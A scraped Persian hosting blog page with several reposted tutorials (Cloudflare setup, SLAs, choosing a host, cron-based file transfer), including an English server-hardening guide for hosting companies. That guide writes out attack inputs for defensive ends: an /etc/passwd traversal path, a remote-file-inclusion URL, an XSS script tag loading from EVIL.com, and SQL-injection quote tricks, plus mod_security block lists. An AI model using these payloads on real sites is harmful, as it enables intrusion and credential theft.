loading...
 

شاپ کیپر

شاپ کیپر

  1. شاپ کیپر
  2. مباحث و منایع آموزشی
قصد دارم آموزش Cloudflare را بهتون بگم تا لذت ببرید.
خب یه مختصر کوچک در مورد کار Cloudflare.com
dns دامنه به dns ی که Cloudflare میده وصل می کنید .
خب پس هاستتون چی می شه؟
Cloudflare اگر محتویات هاستتون بروز شه از طریق ip هاستتون ، اونها رو میگره و به بازدید کننده ها نشون می ده.
کار اصلیش چیه؟
1- جلوی ورود ربات ها به سایت شما رو می گیره و به نوعی کاربرای سالم را اجازه ورود می ده.
2- محتویات هاست شما را در سرورهای خودش ( که جاهای مختلفی تویه دنیا هستند ) ذخیره موقت یا کش می کنه و اگه شما تویه آمریکا باشید محتویات سایت رو از سروری که تویه آمریکا هست می گیرد. اگر تویه اروپا سایت رو باز کنید محتویاتش رو از یه سرور تویه اروپا دریافت می کنید. اگه تویه آسیا باشید یه سرور تویه توکیو محتویات سایت رو براتون بارگزاری می کنه . یا هر جا که نزدیکتر به شما باشه. اینجوری با سرعت بیشتری سایت رو مشاهده می کنید.
3- جلوی قعطی سایت رو می گیره یعنی وقتی هاست شما ترکیده یا قطعه ، کاربر به راحتی از سایت شما استفاده می کنه. و همیشه آنلاین نگه می داره.
4- خب با این وصف پهنایی باندی از شما مصرف نمی شه یعنی حداقل 60 درصد در پهنایی باند هاستتون صرفه جویی می شه.
و...
آیا قابل اعتماده؟
اینجا یکی از کاربرا زحمت کشیده توضیح داده - توسط کمپانی verisign پشتیبانی و بیمه شده که یکی از معتبرترین و ایمن ترین شرکتهای بیمه سایتهای اینترنتی محسوب میشه
درباره Cloudflare.com :
با Cloudflare امنیت و سرعت سایت خود را افزایش دهید - (ولی نظراتی که اونجا وجود داره رو نخونید چون منحرف می شید)

خب حالا آموزش :

1
-وارد سایت https://www.cloudflare.com/sign-up.html شوید. فرم ثبت نام را پرکنید ، جلوی Pick a username هم اسم دلخواه لاتین بنویسید.
2 - در مرحله بعد شما در https://www.cloudflare.com/my-websites.html آدرس سایت را وارد می کنید و روی add this website + کلیک می کنید.
3- سپس به صفحه لودینک your-websites-loading-dns منتقل می شوید ، یک تایمر مع*** شروع به کار می کند پس از پایان روی continue to step 2 کلیک نمایید.

4 - به صفحه دیگری منتقل می شوید. شما در این صفحه یک سری ip می بینید که ماله ftp ، mail ، هاست و ... است. این اطلاعات به شما نمایش داده می شود تا اگر کم و کاسی دارد اضافه کنید. مثلا اگر ip ساب دامینتان را در آنجا مشاهده نکردید ، باید به صورت زیر عمل کنید :

البته در هاست های سی پنل این گونه است :
به Advanced DNS Zone Editor در کنترل پنل هاست خود ( سی پنل ) بروید.
یک سری نام و ip مشاهده می کنید که اگر هرکدومشون تویه cloudflare نبود باید در سایت cloudflare اون ها رو اضافه کنید.
مثال : می خواهید ساب دامینی را که در cloudflare اطلاعاتش نیست را به او بشناسانید:
در کادر اول a (hostname) را انتخاب کنید ، در کادر دوم فقط نام ساب دامین ( مثلا : forum ) کسای که مثل من ساب دامینشون فارسی هست باید اینکودینگشو وارد کنند مثلا xn--mgbc5c3bf یا هرچی که اسمه ساب دامینتونه ولی اونجا قید نشده
در کادر سوم هم آی پی جایی که ساب دامین بهش وصله که معمولا آی پی هاستتونه ( در سی پنل قسمت Advanced DNS Zone Editor معلومه )

اینجا یه نکته داره ، اونم اینه که ساب دامین را یه بار به صورت www.subdomain و یه بار به صورت subdmain وارد کنید.


5- پایین صفحه روی دکمه سبز رنگ I m donw chejing my DNS recorf , continue کلیک کنید.
6 - در صفحه که می اد دوباره نگاهی بیندازید که کمو کسری نداشته باشه و روی دکمه سبز رنگ My setting look good , continue کلیک کنید.
7 - در صفحه بعدی دی ان اس های که دامنه بهش وصله رو بهتون نشون می ده ( Current Settings) و جلوش دقیقا میگه به چی وصلشون کنید .
8 - سریع به کنترل پنل دامنتون مراجعه کنید و اون رو تغییر دی ان اس بدید.
توضیح : برای دامنه های ir که باید بهnic.irمراجعه کنید
برای دامنه های لاتین کام و ... هم که به شرکتی که در اونجا دامنه رو ثبت کردید
برای دامنه های فارسی بین المللی هم باید به https://manage.opensrs.net/ مراجعه کنید. مثلا برای دامنه فارسی xn----omcztlc7kir78gcl.com

9 - کنار ادرس سایتتون در سایت Home | CloudFlare | The web performance & security company عکس ساعت می اد . هر وقت تیک خورد یعنی دیگه جهانی شدید و کار تموم شد. لذت ببرید

ir یک روز وقت می بره ، ولی دامنه های اینترنشنال معمولا چنددقیقه طول می کشه.

اگر خواستید تست کنید که دی ان اساتون به آی پی های جدید عوض شده یا نه Who.is: Whois Lookup, Website, Domain Name, and IP Tools - Who.is بگیرید. من بعد از تغییر دی ان اس ، به این سایت رفتم و گفت 47 ثانبه پیش دی ان اس دامنه آپدیت شده . و دی ان اس های جدید قابل مشاهده بود.

می تونید سرعتش رو تویه منابع آزمون دکتری یا منابع.آزمون-دکتری.com ببیند که چطوری هستش. البته امینتش و پاکسازی ورودی ها به همه چیش می ارزه.
زینب بازدید : 3 شنبه 21 تير 1399 زمان : ۲۳:۴۰ نظرات (0)
درود بر همگی .

SLA) Service Level Agreement)،
تفاهم نامه سطح کیفی خدمات و یا ضمانت نامه کیفیت خدمات، قراردادی است حقوقی فی‌مابین ارائه دهنده و استفاده کننده از خدمات که جهت تضمین پارامترهای کیفی سرویس منعقد می‌گردد.







کیفیت خدمات
به سطح معینی از کیفیت اطلاق می‌شود که هر یک از شرکت‌ها برای رسیدن به آن تلاش می‌کنند؛ به این ترتیب برای هر یک از خدمات باید مشخصات خاصی تهیه شود و SLA تعیین کننده سطح کیفت خدمات، مسئولیت‌ها و ضمانت‌های اجرای آن‌ها است.



با توجه به این‌که امروزه اکثر شرکت‌ها ادعای ارائه بهترین خدمات را به مشتریان خود دارند، سرویس گرفتن از شرکت هایی که SLA دارند بهتر‌است چون میزان ناسازگاری و برخورد میان کاربر و ارائه دهنده خدمات به دلیل تعریف شدن سطح کیفی خدمات، کاهش خواهد یافت و کاربر با حقوق قانونی خود که یکی از علت‌های رشد کیفی شرکت ارائه دهنده خدمات محسوب می‌گردد، آشنا خواهد شد.



منابعی که در ضمانت نامه کیفیت یک شرکت هاستینگ تعیین می‌شود، باید فضا، پهنای باند و مدت زمان مصرف پهنای باند را تعیین کنند، علاوه بر آن باید سطح کیفی خدمات و جریمه معادل سود از دست رفته در اثر نقص منابع مناسب نیز در ضمانت‌نامه کیفیت تعیین گردد.



همکاران گرامی میتوانند با جمع آوری اطلاعات بیشتر اقدام به ارائه SLA شرکت خود به مشتریان کنند .


نمونه :



SLA در ایران‌سرور:

جهت مطالعه SLA ایران‌سرور بر روی لینک زیر کلیک نمایید:
ضمانت نامه کیفیت خدمات در ایران‌سرور

منبع :

SLA چیست؟ - ایران سرور
زینب بازدید : 3 شنبه 21 تير 1399 زمان : ۰۴:۳۰ نظرات (0)
Part I. Your own websites security.

The first step you always want to take to secure your hosting company is to make sure your own website.

Is completely secure some things to do if you are using a common CMS Google it with the word exploit make sure your version is not on there.

Next try any Get Vars in your scripts and put a at the end of them what I mean is you have = you add so its yourwebsite.com/page?= or any other similar thing not only page= you may also try char(39) rather then only most PHP scripts will automatically add add slashes as a function in the MySQL read so when it goes to read it comments out the but most PHP that only uses addslashes protection will still be vuln to SQL injection simply using char(39) which the php script will read as a single quote.
If you get an error you might want to check the script.

The errors you may receive are mysql_* this is a sql injection get right on to fixing this because some one would have the ability of dumping your whole database, clients, admins, etc.

If the errors are main()or include_failed you may have just found an LFI (Local File Inclusion) OR RFI (Remote File Inclusion)...
If it is in a path like failed to include /test/file.ext ever then this is an LFI but is very useful to a hacker they have the ability to use
The following to browse into other places ../../../../ if they wanted to theyd view your passwd file via ../../../../../../etc/passwd

Well right now youd say big Woop they got some users maybe not but still have the ability to go to any forum on
that server and upload an avatar with PHP-EXIF data in it then include it
Using this LFI once they have done this it will execute the code written in this LFI meaning they have access to Run PHP-Code on your server now not good at all...

Recommendations fix the script have mod security block all ../../../../../ to a certain point attempts.

Ok next were going to discuss the abilities of an RFI and how to block it...
So the things you can do with an RFI well lets see remotely include an PHP file that will execute its php file like so
http://www.yoursite.com/file.php?fil...com/shell.txt? this php file on your server would then remotely include the other file and execute the PHP code also allowing the user access to your server.

Prevention add http:// to your mod security this way when they try remotely including a file in the URL
http://www.evilsite.com mod_security will block it.

Ok our next subject is XSS this is a tricky one on account of there are many ways around mod security blocking this...

What can XSS do XSS means cross site scripting a hacker can execute JavaScript code on your website using this some XSS is bad which would be called permanent XSS it allows users to embed their JavaScript inside something where you wouldnt really see it... but when you clicked they could potentially grab your cookie or any current stored browser information.
With this they could use your cookie as their own to login as you... maybe even get password information from this
cookie...

Now the other type of XSS is something you have to train your clients to look out for if some one ever asks for help and sends you a link that is accessing a remote website in the URL such as...
www.mysite.com/info.php?xss=<script>src=http://EVIL.com/xss.js</script>
Never click it what so ever... ban the person who has sent this.

Ok now for the mod_security bans... add <script> add <body= add </script> add ">
And this should fix your XSS problems that can actually cause damage...

As for SQL injection the way to block this is to... add or /* to the mod security be sure to add in char(39) as its in php and php will in fact read it from a URL and interpret it as and still launch the sql injection.

One other thing you can do that is not exactly completely necessary but will help if any one does manage to get access to your website.Is you can encrypt all your db.php/conf.php/ files so that hackers cant read the information to gain access to your mysql database or gain any other passwords/usernames you might commonly use more then once.

Zend should fix this problem.

Never leave any open upload scripts what so ever any open upload scripts left on your website will allow the hacker/attacker the ability to upload a file sure you can restrict them to only uploading JPG files or GIF,RAR etc.
But the only problem with that is unless you customize your upload script to check for EXIF data and clear it out of an image when uploading it then the hacker still has something to use against you.


Part II. Your Employees


RULE-1 -PASSWORDS
Do not use password even more then once on your servers if you do the first time some one gets your password to any
Thing they have the ability to get into every thing on your server from there they get other peoples passwords and get more and more access over time they can take the whole hosting company...

RULE-2 -PHONE CHATS
Always request a persons information verify every bit of it is correct also try to remember their voice because hackers will call you and try to get into people servers they can have correct information just by whoising the persons domain that their trying to get.

RULE-3 -Email CHATS
This one is a bit easier there is no emotion to what the person is trying to do...
If they slip up on one peace of information be sure to email them back and ask them to correct it before even
Sending any thing back or touching any thing.

RULE-4 -Talking to each other
While talking to each other in public services.. or services that my be able to be taped such as an IRC...
Be sure not to mention any root passwords, client names, etc...

Part III. Securing Your Server

Ok well first were going to do the obvious and CHMOD /home to 755

This is simple just go ahead and type chmod 755 /home
Or
CD /
chmod 755 home

Next were going to make sure no user has any bash access what so ever.

This may already be setup by the current hosting control panel you are using...
If not were going to nano /etc/passwd and make sure all Linux users that you dont want having bash are set to
/sbin/nologin

I realize some hosting companies also do dedicated server companies so it wouldnt work out if your client didnt have
bash to the server.
So this is mainly based for the shared hosting servers.


Part IV. PHP Configuration.


Now were going to do some things to PHP.ini
usr/local/lib/php.ini
^ On Most Systems
safe_mode = On
safe_mode_gid = Off
open_basedir = directory [:...]
safe_mode_exec_dir = directory [:...]
expose_php = Off
register_globals = Off
display_errors =Off
log_errors = On
error_log = filename
magic_quotes=On
disable_functions = show_source, system, shell_exec, passthru, exec,
phpinfo, popen, proc_open, base64_decode, base64_encodem, proc_terminate

Some explanations of the functions your disabling.


show_source(), Disables functions most shells use to view the source of other files one commonly
c99, ModfiedC99 (c100), ModfiedC99(x2300)
phpinfo(), Sometimes will bring up XSS, also numeral overflows have been found while using PHPINFO() that and you dont
want people getting your version of PHP and etc. to attempt to exploit it if you may just be out of date or to up to
date.
system, Allows Bash Commands Via PHP

shell_exec, Allows Bash Commands via PHP

exec, Allows Bash Commands Via PHP

popen, Almost like Bash not quite but close using PHP

proc_open, Almost like bash not quite but close using PHP

base64_decode, decodes base64 encryptions... reason for disabling also allows users with server access to bypass mod security

base64_encode, encodes base64 encryptions... reason for disabling also allows users with server access to bypass mod security

proc_terminate, Terminates Processes running on the server.

Some reasons for having magic quotes on, it disables most nullbyte attempts (%00)
And will stop a small majority of SQL injections.


Part V. MySQL and Apache Configurations


Disable all out bound MYSQL connections...

Besides from Trusted Servers

This may actually be set in the hosts field of the users in the actual MYSQL table, for each user account it lets you
Give them an IP or type any Id recommend giving them an IP...
Although when you give them and IP dont worry its not that you can only have one IP able to access that user you
do in fact have the ability to recreate the user
over and over and fill in the IP field differently each time.

Next you need to configure your apache to where it runs 1 process for each linux user and all scripts ran by that user run under their unix/linux permissions,GID & UID

A reference Document on how to do this can be found here.

Apache suEXEC Support

Comments:
What this will do with apache is pretty much make sure that the users cant access other users directories on the
Server this is a common vulnerability you get access to one site on the server and you get access to all websites on the same
server... this protects against it. All though apache is running under each user using SuEXEC would solve that problem.


Part VI. SSH Keys.

Its not required but it is a recommendation to setup SSH keys this way people do not have the ability to brute force your SSH server.

A tutorial on how to do this can be found here:

BigAdmin: ReDirect

If you do not wish to setup SSH Keys you may also use Linux host.allow, host.deny files to sort which ranges have the ability to access your server and which do not have the ability to access your server.


There are some references for this located here

hosts.allow - Linux Command - Unix Command


And here

http://www.userlocal.com/security/securinginetdetc.php


Part VII. BackDoor-Trojan-Rootkit Proctection & FireWall Setup


Down To The Back Door Protection

In the even some one gets access to your server even with all the security youve gotten so far they might just be able to figure out one way or another to slip a backdoor in or in the case of ubiquity a botnet client,


So what exactly are some things you can do to prevent this if not stop it.

Well I honestly dont think you can stop things like root kits, Trojans, viruses, botnet clients etc. from being on your System.


But you can stop or remove them once their on your system, or prevent them from being ran.

What all can a person do just by having the ability to upload a file.
Not much but once they find ways to execute what they have uploaded then you can pretty much consider them having root to your server.

At this point they can run multiple exploits that may be able to BoF(Buffer Over Flow) An process running under root on your system and from there they could get lucky and have the ability to execute code as that process.

Another thing they can do without having root is install an botnet client once this is done they have the ability to use your servers as their own resource to take other things down.


Trojans & Viruses on Linux arent too much of a worry as there arent too many out there but the ones that are made might just have enough access to delete most of the HDD on the Linux system.

Now a couple things Ive researched on that can help prevent this.


---
Root Kit Hunter.
---
Description:

Root kit scanner is scanning tool to ensure you for about 99.9%* youre clean of nasty tools. This tool scans for
Root kits, backdoors and local exploits by running tests like:

- MD5 hash compare
- Look for default files used by root kits

- Wrong file permissions for binaries
- Look for suspected strings in LKM and KLD modules
- Look for hidden files
- Optional scan within plaintext and binary files

-------
Comments:
I highly recommend Root Kit Hunter.
---
Download
---
Rootkit Hunter
---
Clam Antivirus
---
Description:

* Command-line scanner
* Fast, multi-threaded daemon with support for on-access scanning
* milter interface for sendmail
* advanced database updater with support for scripted updates and digital signatures
* virus scanner C library
* on-access scanning (Linux and FreeBSD)
* virus database updated multiple times per day (see home page for total number of signatures)
* built-in support for various archive formats, including Zip, RAR, Tar, Gzip, Bzip2, OLE2, Cabinet, CHM,
BinHex, SIS and others
* built-in support for almost all mail file formats
* built-in support for ELF executables and Portable Executable files compressed with UPX, FSG, Petite, NsPack,
wwpack32, MEW, Upack and obfuscated with SUE, Y0da Cryptor and others
* built-in support for popular document formats including MS Office and Mac Office files, HTML, RTF and PDF
-------
Comments:
Honestly Id recommend this even when using Mod-Security Ive built shells that will in fact bypass modsecurity well
this well scan the source codes of the PHP shell
and make sure thereï؟½s nothing that could potentially harm or allow the user to have to much access over the system.

---
Download
---
Clam AntiVirus
--


Banning The Brute Forcers, FTP, SSH, etc.
---
APF (Advanced Policy Firewall)
---

Description:


Rather then grabbing this one off their site I figured Id write one.

Well in my experience this is nothing like a normal firewall you would use on an windows system it checks for things like people trying to brute force Cpanel, SSH, FTP, etc. accounts.

Allows alot of configuration options some of which may also benfit in bandwidth saving and DDoS prevention,
Over all it blocks those ports your not using so even if some one manages to get an undetectable backdoor/botnet on your systems.
Then this will block it from connecting back to them and them connecting back to it.
---
Comments:
I will tell you no though this will be a pain to setup while hosting so many teamspeaks on account of all the ports you would have to constantly forward.
To make sure every one has the ability to get into their teamspeaks,

Some commands that can be used with this Firewall just incase you decide to use it.


Banning an IP
apf -d IP

Unbanning an IP
apf -u IP

I recommend ignoring your own IP in the


/etc/apf/allow_hosts.rules

Using the following syntax you can ignore your IP from all firewall rules meaning you dont follow them.


d=PORT=IP // ENABLES YOUR IP COMMING IN ON THE PORT
out=PORT=IP // ENABLES YOUR IP GOING OUT ON THE PORT

For ranges you may do the following 192.168.1.1/255

It will then forward from 192.168.1.1 to 192.168.1.255 to be enabled

---
Download
---
http://www.r-fx.ca/downloads/apf-current.tar.gz


Part VIII. DDoS Protection and Saving Bandwith + Remote Loging.
---

Server Monitoring Remotely
---
Log Watch
---
Description:

An application that runs twenty-four seven on your server and sends the following things after going through them to your email.
-Apache_Access Logs

-Apache_Error Logs
-SSH_LOGINs Failed Or Succeeded
-FTP Logs
-Mail Logs
-Current HDD Sizes
-Kernel Logs
-Mail Logs
-Yum/APT-GET Logs

Comments:
This thing is very useful attempts to gain access to your server will be automatically emailed to you along with every thing that is not found gave some one and forbidden error and etc.
The only main requirement is that you have SendMail Running.



Mail Spam Protection
---

Spam Assassin
---

Description:

The core distribution consists of command line tools to perform filtering along with Mail:pamAssassin, a set of Perl modules which allow SpamAssassin to be used in a wide range of products.

Comments:
Never used it my self because Ive never really had to bad of mail spam problems on my server but from what Ive
read it is in fact pretty good at filtering out the spam in your emails.

---
Download
---
SpamAssassin: Downloads

---
Some Extra Mail Protection

---
Be sure that your mail-server only allows your Server to use it or any other servers you may trust and deny all
others
many people will attempt to use open mail servers and spam resources.


---
DDoS Protection & Bandwidth Saving.

---
Ok first off some things people might do while DDoSing you.

Unless theDDoS attack is very strong I highly doubt it will take your whole server offline most DDoS attacks will mainly hit their targets port
in most cases their target would be Apache, but in other cases maybe even a teamspeak its a little more difficult to stop without having to get all of your clients IP addresses and adding them to the ignore lists in APF

But a basic thing you can do is have APF installed drop all ICMP packets. This will disable the ability to ping your server.
Next Install DDoS Deflate


---
DDoS Deflate
---
Comments/Description:
From my own experience an well written Perl Script that was made to run along with APF and monitor how many times an
IP is connected to your server before it bans it you may also run it manually typing the following in shell.

ddos Number Of Connections Allowed

When this is typed the Perl script will then run an netstat command check how many times each IP is connected and if there are more then the number of connections you specified then it will automatically run a command in APF for the IP to be banned.


---
More Information can be found on this at

http://blog.medialayer.com/projects-ddos-deflate/

----
Download
----
Index of /scripts/ddos


Ok now for bandwidth saving and DDoS protection at the same time there is this really cool thing made for apache servers its called mod_evasive
It will limit the number of connections a person may open with apache and if they open to many it will ban them for what ever time you specify in the config.



---
mod_evasive

---

Detailed Description:
mod_evasive is an evasive maneuvers module for Apache to provide evasive action in the event of an HTTP DoS or DDoS attack or brute force attack. It is also designed to be a detection and network management tool, and can be easily configured to talk to ipchains, firewalls, routers, and etcetera. mod_evasive presently reports abuses via email and syslog facilities.


Detection is performed by creating an internal dynamic hash table of IP Addresses and URIs, and denying any single IP address from any of the following:
* Requesting the same page more than a few times per second
* Making more than 50 concurrent requests on the same child per second
* Making any requests while temporarily blacklisted (on a blocking list)

This method has worked well in both single-server script attacks as well as distributed attacks, but just
like other evasive tools, is only as useful to the point of bandwidth and processor consumption (e.g. the amount of bandwidth and processor required to receive/process/respond to invalid requests), which is why its a good idea to integrate this with your firewalls and routers for maximum protection.


This module instantiates for each listener individually and therefore has a built-in cleanup mechanism and scaling capabilities. Because of this per-child design, legitimate requests are never compromised (even from proxies and NAT addresses) but only scripted attacks. Even a user repeatedly clicking on reload should not be affected
Unless they do it maliciously. mod_evasive is fully tweak able through the Apache configuration file, easy to
Incorporate into your web server, and easy to use.


--- Comments:
This is a module I have in fact used with Apache before it honestly can get annoying if you configure it incorrectly

because you will be simply visiting the website and get banned.


---
Download/Install Tutorial

---
Mod_evasive | eth0.us - Server admin info for cPanel, plesk, ensim and linux!
منبع پستهای wht.com
زینب بازدید : 4 شنبه 14 تير 1399 زمان : ۰۷:۵۰ نظرات (0)
سلام دوستان
بالاخره تصمیم صغری رو گرفتم و سایت و هدفم رو روشن کردم
تصمیم بر آن شد که تنها رو وهاب آنلاین فعالیت کنم بقیه رو بستم
اما حیفم اومد اون همه مطالب وب آموز رو بریزم دور واسه همین مطالب وب آموز همه رو آوردم رو وهاب آنلاین
امروز هم اولین پست رو تو وهاب آنلاین زدم . امیدوارم مورد توجه و پسندتون قرار بگیره
از مدیران عزیز درخواست دارم اگه جای پست خوب نیست انتقالش بدند . چون نتونستم جای مناسبی پیدا کنم

------------------------------------------------------

امروزه تقریبا در هر یک ساعت یک هاستینگ جدید متولد می شود که در این بین افراد تازه کار و… نیز بسیار زیاد هستند که با هزینه ای اندک با خرید یک سرور مجازی (امروزه به دلیل نرخ دلار کمتر) یا یک رسیلر (به دلیل ارزان بودن بیشتر) اقدام به راه اندازی هاستینگ میکنند .
در این پست قصد دارم با توجه به تجربیات خودم و کمک شما دوستان عزیز به این مورد بپردازم


اهمیت یک هاستینگ خوب بر هیچکس پوشیده نیست . یک هاستینگ خوب میتواند شما را به اوج برساند و یا یک هاستینگ بد…
قبل از هرچیز شما باید بدانید هدف شما از راه اندازی سایت چیست ؟

و بعد از آن حداقل آینده ۳ ماه سایت خود را پیش بینی کنید . یعنی اینکه ممکن است چه امکاناتی به آن اضافه شود ؟ چقدر فضا نیاز است ؟ چه میزان بازدیدکننده خواهید داشت و…

پس از شناختن نیاز های خود به موارد زیر باید پرداخت :

در اینترنت به دنبال هاستینگی مناسب بگردید !
معمولا با یک جستوجوی ساده میتوانید بهترین هاستینگ ها را برای خود انتخاب کنید

قبل از خرید از مشتری هایشان در مورد پشتیبانی و کیفیت خدمات سوال کنید
همانطور که میدانید بهترین کسانی که میتوانند در مورد یک هاستینگ اظهار نظر کنند مشتریان آنها هستند
از مشتریان در مورد کیفیت سرویس ها ، آپتایم ، سرعت و پشتیبانی سوال کنید

در زمان های مختلف پشتیبانی را تست کنید و با آنها مکالمه داشته باشید
قبل از خرید از روش های ارائه شده برای ارتباط با پشتیبانی استفاده کرده و با آنها در ارتباط باشید
تیکت ارسال کرده و زمان پاسخگویی به تیکت ها را دریابید
در صورت امکان چند سوال تخصصی از پشتیبانی بپرسید و نحوه ی پاسخگویی آنها را چک کنید

نیاز های خود را با آنها در میان بگذارید
با پشتیبانی در مورد نیاز های خود صحبت کنید و در مورد تمهیدات آینده خود به آنها بگویید و بپرسید آیا می توانند با چنین در خواست های سایت شما را پشتیبانی کنند ؟

بازگشت وجه داشته باشند
امروزه بازگشت وجه یکی از مواردی است که در هر هاستینگی به چشم میخورد . با پشتیبانی در این مورد صحبت کنید

شماره های تماس را چک کنید و حتی الامکان از شرکت های ثبت شده خرید کنید

این مورد برای خود من نیز بسیار حائز اهمیت هست . خودم همیشه سعی میکنم از جایی خرید کنم که شرکتی ثبت شده باشه و شماره های ثابت پشتیبانی داشته باشه

دلیل من برای اینکار اینه که با وجود ثبت بودن رسمی شرکت و داشتن شماره های ثابت در صورت بروز مشکل میدانم که با چه کسی و کجا در ارتباط باشم

اما لازم به ذکر است که این مورد در همه موارد صدق نمیکند . کسانی هستند که شخصی و بدون شماره ثابت و شرکت فعالیت میکنند اما خدمات بسیار عالی ارائه میدهند

و نکته مهم و آخر اینکه :
قبل از خرید حتما قوانین آن هاستینگ را مطالعه کنید و قیمت را هرگز ملاک خرید قرار ندهید
لازم به ذکر است بهترین قضاض در مورد یک هاستینگ کاربران آنها هستند


در آخر ممکن است این سوال برای شما پیش بیاید که آیا این موارد واقعا لازم است ؟ میتوانیم با هزینه اندک یک هاستینگ پیدا کرده و سایت خود را راه اندازی کردهو در صورت راضی نبودن به جای دیگری کوچ کنیم !

پاسخ من به اینگونه افراد این است که هرگز قیمت را ملاک خرید قرار ندهند . به نظر من بله ارزش دارد . زیرا هنگامی که سایت خود را راه اندازی میکنید و به دیگران معرفی میکنید دیگران از شما انتضار دارند و در گوگل و… نیز سایت شما ثبت میشود . هنگامی که خدای نکرده برای هاستتون مشکلی پیش بیاد و دان تایمی طولانی داشته باشید هم کسانی که به شما سر میزدند از شما دلخور شده و هم در رتبه بندی سایت شما تاثیر منفی خواهد داشت . حال این موارد با تغییر موضوع سایت کم و زیاد خواهند شد و ممکن است موارد دیگری به آن اضافه شود

این موارد تنها مواردی اندک بود که به ذهن حقیر من خطور میکرده . خوشحال میشم نظرات شما را نیز درمورد سوال زیر بدانم :
ملاک شما برا انتخاب یک هاستینگ مناسب چیست ؟

منبع :
وهاب آنلاین | چگونه هاستینگی مناسب برای خود پیدا کنیم ؟
زینب بازدید : 13 دوشنبه 22 ارديبهشت 1399 زمان : ۱۰:۵۵ نظرات (0)
باسلام

شاید تا به حال پیش امده است که قصد انتقال حدود 1 گیگ اطلاعات از هاستی به هاست دیگر دارید و دسترسی به بکاپ گیری و ssh و سرور مجازی ... ندارید
همچنین از لیچر ها نیز نمیتوانید استفاده کنید + مدیر سرور هم همکاری نمی کند (اگر بکند که همه چیز حل است! میتواند خودش انجام دهد یا دسترسی ssh به شما بدهد که بسیار عالی است)
راه حل چیست؟ به نظر من یکی از راه حل ها استفاده (انشاالله سوء استفاده نشه!) از cronjob است البته معایبی دارد مانند احتمال وجود محدودیت و ...
شاید بپرسید اصلا چه ربطی دارد؟ پاسخ این است که میتوانید از دستورات لینوکس در ان استفاده کنید.
برای استفاده از این روش کافی است که فایل ها را در هاست مبدا فشرده کنید و به صورت یک لینک دانلود مستقیم در اوردید.
پس از ان وارد هاست دوم شوید به بخش کران جاب بروید و از یکی از دو دستور زیر استفاده کنید:
کد: curl -O http://site.com/file.zip wget http://site.com/file.zip تنظیم کنید که چند دقیقه بعد کران اجرا شود
پس از پایان ان فایل ها در هاست شما (ریشه) قرار دارند

چند نکته :
1) در انتخاب زمان بسیار دقت کنید! تحت هیچ شرایطی روی "هر از یک دقیقه" قرار ندهید حتما ساعت و دقیقه را مشخص کنید
2)پس از پایان کار کران را حذف کنید
3) ممکن است محدودیت زمانی و ... برای اجرای دستورات قرار داده باشند در این صورت فایل ها را به چند بخش تقسیم کنید و کم کم منتقل کنید

توجه : اگر با میانگین سرعت 10 مگابایت اطلاعات منتقل شود در مدت 1 دقیقه حدود 600 مگابایت منتقل خواهد شد که خوب است!

لطفا دوستان نظرشان را اعلام کنند تا درصورتی که بنده اشتباه میکنم متوجه شوم
باتشکر از این که وقت گذاشتید و مطالعه کردید
ارادتمند شما
مهدی تمدن
زینب بازدید : 12 شنبه 20 ارديبهشت 1399 زمان : ۱۰:۲۰ نظرات (0)
عملکرد وب سرویس ها و عملکرد تورنت

مقدمه
سرويس دهنده هاي اينترنتي بر دو نوع هستند که کاربران براي دانلود و آپلود اطلاعات از آنها استفاده مي کنند.
1. Web Hosting Service2. P2P (Peer-to-peer)
به طور کلي ميتوان شبکه Web Hosting را شبکه اي در نظر گرفت که يک سرور مرکزي دارد و تمام موارد تاثير گذار بستگي به سرور دارد ولي در شبکه هاي p2p سروري وجود ندارد و اين خود کاربران هستند که شبکه اي بزرگ را ايجاد ميکنند. در مقايسه با شبکه Web Hosting اين شبکه بسته به تعداد کاربران ميتواند ضعيف يا قوي باشد مختصر اينکه اين شبکه با توجه به تعداد کاربران مي تواند قوي يا ضعيف باشد. در ادامه ابتدا در مورد هر يک از اين سرويس دهنده ها صحبت مي کنيم و با مقايسه اين دو روش مزيت ها را برسي مي کنيم. قصد و هدف اين پروژه آشنايي با سرويس نظير به نظير يا همان P2P است و سرويس هم راستاي خود Torrent و در آخر هم مزايا و کاربردها و همچنين نحوه استفاده از اين شبکه آموزش داده مي شود و همچنين نرم افزاري براي استفاده از اين شبکه معرفي مي شود.اميد آنکه اين پروژه مورد استفاده و مفيد باشد. :Web Hosting Service وب سايت‌ها از مجموعه‌اي از فايلهاي مختلف مانند تصاوير، متون و فايلهاي برنامه نويسي شده به زبانهاي مختلف و ساير اسناد مربوطه تشکيل مي‌شود که به منظوري خاص به شکلي با هم مرتبط شده‌اند. هر شخصي که نرم‌افزارهاي لازم و دسترسي به اين فايلها را داشته باشد امکان بازديد از اين سايت را دارد. حال براي اينکه همه مردم امکان دسترسي به فايلها را داشته باشند نياز است تا فايلها در کامپيوتري قرار گيرند که همواره به اينترنت پرسرعت متصل است به اين کامپيوترها «سرويس دهنده» يا «سرور» ‌گويند. اما اين سرورها بايد امکانات ديگري نيز داشته باشد از آن جمله مي‌توان به موارد زير اشاره کرد:1.در صورتي که حجم قابل توجهي از بازديد کننده به سايت مراجعه کنند امکان پاسخگويي به همه آنها را داشته باشد. بنابر اين نياز است تا يک کامپيوتر قدرتمند از لحاظ مشخصات قطعات داخلي باشد.2.نرم‌افزارهاي لازم براي اجراي انواع فايلها از لحاظ نوع برنامه نويسي را داشته باشد.3.نرم‌افزارهاي مورد نياز براي مديريت بخشهاي مختلف سايت و پست الکترونيک و... را در اختيار صاحبان وب سايتها قرار دهد. هر کامپيوتري مي‌تواند يک سرور باشد اما از آنجا که هزينه‌هاي مورد نياز براي فراهم کردن تجهيزات و نرم‌افزارهاي لازم و يا نيروي پشتيباني براي صاحبان همه وب سايتها به صرفه نيست لذا شرکتهايي اين مسئوليت را مي‌پذيرند و با فراهم آوردن لوازم کار در سطح وسيع بخشي از فضاي ديسک سخت سرورهاي خود را به صورت اجاره‌اي در اختيار متقاضيان قرار مي‌دهند. به اين شرکتها که خدمات ميزباني وب يا هاستينگ ارائه مي‌کنند در اصطلاح «ميزبان» يا «هاست» مي‌گويند. حجم ديسک حجم ديسک به مقدار فضايي گفته مي‌شود که شرکت ميزبان از ديسک سخت سرورهاي خود در اختيار شما قرار مي‌دهد اين فضا از چند مگابايت تا چند گيگابايت براساس نياز متفاوت است. مجموع حجم فايلهاي ارسالي به سرور اجاره کننده بايد کمتر يا مساوي با فضاي اجاره شده باشد. (البته اين ميزان فضا در اکثر سرويس دهنده‌ها در هر زمان قابل تغيير مي‌باشد). محدوديت انتقال داده‌ها محدوديت و ميزان انتقال داده‌ها که به آن ترافيک ماهيانه نيز گفته مي‌شود ميزان تبادل اطلاعات با کامپيوتر ميزبان را مشخص 